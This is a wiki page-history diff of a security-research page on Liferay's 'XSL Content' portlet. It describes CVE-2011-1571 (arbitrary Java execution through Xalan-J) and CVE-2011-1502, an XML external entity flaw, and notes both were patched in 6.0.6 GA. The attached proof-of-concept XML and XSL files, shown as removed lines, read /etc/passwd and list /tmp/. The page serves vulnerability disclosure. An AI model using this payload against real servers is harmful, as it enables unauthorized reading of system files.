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Changes for page Application_Liferay

Last modified by Nicolas Gregoire on 2012/04/19 14:05
From version Icon 19.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 14:39
Change comment: There is no comment for this version
To version Icon 7.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 14:05
Change comment: There is no comment for this version

Summary

Details

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1 -liferay|java|xalan-j|code execution|xee
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4 4  
5 5  
6 6  
7 -The vulnerabilities described here were patched in version 6.0.6 GA (cf. the [[Release Notes for 6.0.6 GA>>http://issues.liferay.com/secure/ReleaseNote.jspa?version=10656&styleName=Html&projectId=10952||rel="__blank"]]).
8 8  
8 +
9 +
9 9  == Java code execution ==
10 10  
11 11  LIferay includes numerous portlets. The "XSL Content" portlet displays the result of the XSL transformation of a XML document. The XSLT engine used by default is [[Xalan-J>>Engine_Saxon]] (but this can probably modified easily using [[JAXP>>http://en.wikipedia.org/wiki/Java_API_for_XML_Processing||rel="__blank"]]). As Xalan-J allows by default to execute Java code from the stylesheet, that's an easy to exploit vulnerability. Any logged-in user can execute arbitrary Java code in the context of the Web Application server (usually Tomcat) : [[CVE-2011-1571>>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1571||rel="__blank"]].
12 12  
13 13  
14 -
15 -Executing commands and reading the output (using the "xalanj-reading-stdout.xsl" script included on the [[Xalan-J>>Engine_XalanJ]] page) :
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17 -[[image:liferay-execute-commands-with-stdout.png||style="display: block; margin-left: auto; margin-right: auto"]]
18 -
19 19  == Additional vulnerabilities ==
20 20  
21 21  Two others vulnerabilities were identified in the "XSL Content" portlet :
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24 24  
25 25  * CVE-2011-1502 : allows to read UTF-8 files and to list directories via a XEE (XML External Entity) attack
26 26  
23 +Reading /etc/passwd using CVE-2011-1502 :
27 27  
28 -
29 -
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31 -Reading /etc/passwd using CVE-2011-1502 (cf attached files [[liferay-xee.xsl>>attach:liferay-xee.xsl]] and [[liferay-xee.xml>>attach:liferay-xee.xml]]) :
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34 34  [[image:liferay-read-etc-passwd-via-xee.png||style="display: block; margin-left: auto; margin-right: auto"]]
Icon liferay-xee.xml
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1 -xwiki:XWiki.NicolasGregoire
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1 -184 bytes
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1 -<!DOCTYPE doc [
2 -<!ENTITY boom1 SYSTEM "/etc/passwd">
3 -<!ENTITY boom2 SYSTEM "/tmp/">
4 -]>
5 -<doc>
6 -<response><file>&boom1;</file></response>
7 -<response><file>&boom2;</file></response>
8 -</doc>
9 -
Icon liferay-xee.xsl
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1 -xwiki:XWiki.NicolasGregoire
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1 -319 bytes
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1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
2 -<xsl:template match="/doc">
3 - <html><body>
4 - <xsl:for-each select="response">
5 - <h2>File content :</h2>
6 - <xsl:value-of select="file"/>
7 - <hr/>
8 - </xsl:for-each>
9 - </body></html>
10 -</xsl:template>
11 -</xsl:stylesheet>
12 -